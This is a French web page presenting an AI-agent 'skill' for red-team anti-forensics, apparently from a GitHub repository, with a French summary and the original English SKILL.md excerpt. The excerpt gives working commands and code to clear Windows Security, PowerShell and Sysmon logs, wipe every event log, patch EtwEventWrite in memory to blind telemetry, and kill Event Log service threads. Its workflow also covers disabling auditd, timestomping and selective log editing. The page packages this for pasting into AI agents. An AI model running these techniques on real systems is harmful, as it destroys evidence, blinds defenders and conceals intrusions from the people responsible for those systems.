offensive-anti-forensics
Ce qu’il fait
Ce skill couvre la manière dont les opérateurs d'équipe rouge traitent les journaux, les horodatages et autres preuves lors des missions autorisées, ainsi que ce que les défenseurs examinent. Il insiste sur la documentation de chaque modification pour que l'équipe bleue puisse reconstruire sa référence. Il s'adresse aux professionnels de la sécurité qui mènent des tests autorisés.
Quand l’utiliser
- ✓Quand vous planifiez un exercice d'équipe rouge autorisé et devez prendre en compte les preuves qu'il génère.
- ✓Quand une équipe bleue veut savoir quelles traces forensiques un test d'équipe rouge laisse.
- ✓Quand vous devez documenter les modifications de journaux et de fichiers faites lors d'une mission validée.
Lien du skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/forensics/offensive-anti-forensics/SKILL.mdCopiez-le et collez-le dans votre IA (Claude, ChatGPT ou Cursor) en lui demandant de suivre les instructions.
Comment l’utiliser
Le plus simple : copiez le message et collez-le dans votre IA. Elle lit le skill et suit les instructions.
Message prêt à coller
Pour Claude Code, Codex ou Cursor : lancez-la dans le dossier du projet et le skill est installé.
Téléchargez le SKILL.md et placez-le dans le dossier de skills de votre agent.
Exemple de demande à votre IA
“Nous menons un test d'équipe rouge autorisé. Documente les preuves que notre activité laisse et ce qui doit figurer dans le rapport.”
5 nouveaux skills par semaine. 1 minute de lecture.
Comment ça marche
Le skill explique chaque source de preuves sous Windows et Linux, la manière dont elle peut être affectée et la vision du défenseur. Il insiste sur l'enregistrement de chaque action de nettoyage avec son horodatage pour le rapport final.
Contenu technique (SKILL.md original)
Texte original de l’auteur, en anglais, directement depuis GitHub.
Offensive Anti-Forensics
Anti-forensics is the practice of manipulating, destroying, or preventing the creation of forensic artifacts during an engagement. As a red team operator, you treat every action as generating evidence -- logs, timestamps, memory structures, disk metadata, and network captures all tell a story. Your objective is to control that narrative. This skill covers the primary evidence categories you encounter on Windows and Linux targets, the techniques for manipulating each, and the defender view so you understand what a competent forensic analyst looks for when your cleanup is incomplete.
You operate under an authorization scope. Every technique here assumes you have written permission to execute these actions on target systems. Document what you clear and when -- your engagement report must account for artifacts you destroyed so the blue team can rebuild their detection baseline.
Quick Workflow
- Enumerate logging infrastructure before executing payloads -- identify what generates evidence.
- Disable or blind telemetry sources (ETW, Sysmon, auditd) at the earliest safe opportunity.
- Execute your operation with minimal footprint using in-memory techniques where possible.
- Manipulate timestamps on any files you touched to blend with surrounding filesystem activity.
- Clear or edit logs selectively -- wholesale deletion is noisier than surgical modification.
- Remove memory artifacts if you have reason to believe live forensics will occur.
- Validate your cleanup by checking the same artifacts a forensic analyst would examine.
Windows Event Log Clearing
Windows Event Logs are the primary evidence source on Windows targets. The Security, System, PowerShell, and Sysmon/Operational channels record authentication, process creation, and command execution events.
Wevtutil Approach
Clear specific channels rather than all logs to reduce the blast radius of your cleanup.
rem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security
PowerShell Clear-EventLog
# Clear classic logs
Clear-EventLog -LogName Security, System, Application
# Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | ForEach-Object {
wevtutil cl $_.LogName 2>$null
}
# Selective clearing -- remove only your time window events
# This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
$_.TimeCreated -lt $targetTime -or $_.TimeCreated -gt $targetTime.AddHours(2)
}
# Note: native Windows APIs do not support selective event deletion
# You must clear and rewrite, or use third-party tooling
ETW Provider Patching
Event Tracing for Windows underpins most logging. Patching the ETW provider in-process prevents log generation at the source, which is quieter than post-hoc clearing.
// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);
# Invoke-Phant0m: Kill threads responsible for Event Log Service
# This stops log writing without stopping the service itself
# The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
Linux Log Clearing
Linux logging varies by distribution and configuration. You must account for syslog/rsyslog, systemd journal, auth logs, and login records stored in binary utmp/wtmp/btmp files.
Syslog and Auth Log Manipulation
# Truncate rather than delete -- preserves inode and avoids alerting
Questions fréquentes
Pourquoi le skill insiste-t-il sur la documentation ?
Le rapport doit lister les artefacts modifiés pour que les défenseurs puissent reconstruire leur référence de détection.
Couvre-t-il Windows et Linux ?
Oui. Il couvre les journaux d'événements Windows, les journaux Linux et les métadonnées de fichiers.
Est-ce réservé aux tests autorisés ?
Oui. Il suppose une autorisation écrite et un périmètre défini.
Détails
Description originale de l’auteur
Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records,
repo: SnailSploit/Claude-Red
Popularité
- Étoiles GitHub
- 10k
- Position au classement
- #11956
- Licence
- MIT
- Mis à jour
- 12/10/2026
Commentaires
- …
Autres skills de ce dépôt
offensive-active-directory
10kAide votre agent à planifier un test Active Directory autorisé : cartographie du réseau, chemins d'attaque vers Domain Admin, plan documenté.
offensive-netexec
10kAide votre agent à utiliser NetExec (nxc) pour des tests réseau autorisés : protocoles, authentification et contrôles d'identifiants.
offensive-api-abuse
10kAide votre agent à planifier des tests d'API autorisés sur les abus de logique métier, GraphQL et conditions de course.
offensive-api-security
10kAide votre agent à mener des tests autorisés sur API REST, gRPC et WebSocket, selon le Top 10 de l'OWASP pour les API.
Skills similaires
reverse-engineer-anything
422kAide votre agent à analyser les applications et paquets livrés, pour expliquer leurs fonctions, comparer des versions ou guider une reconstruction, avec REA.
1password
394kAide votre agent à configurer l'interface en ligne de commande de 1Password, à se connecter, et à lire ou injecter des secrets sans afficher leurs valeurs dans le chat.
healthcheck
394kAide votre agent à auditer l'ordinateur ou le serveur qui fait tourner OpenClaw pour détecter des risques de sécurité, comme SSH, le pare-feu, les mises à jour et les sauvegardes, puis à proposer des corrections sûres.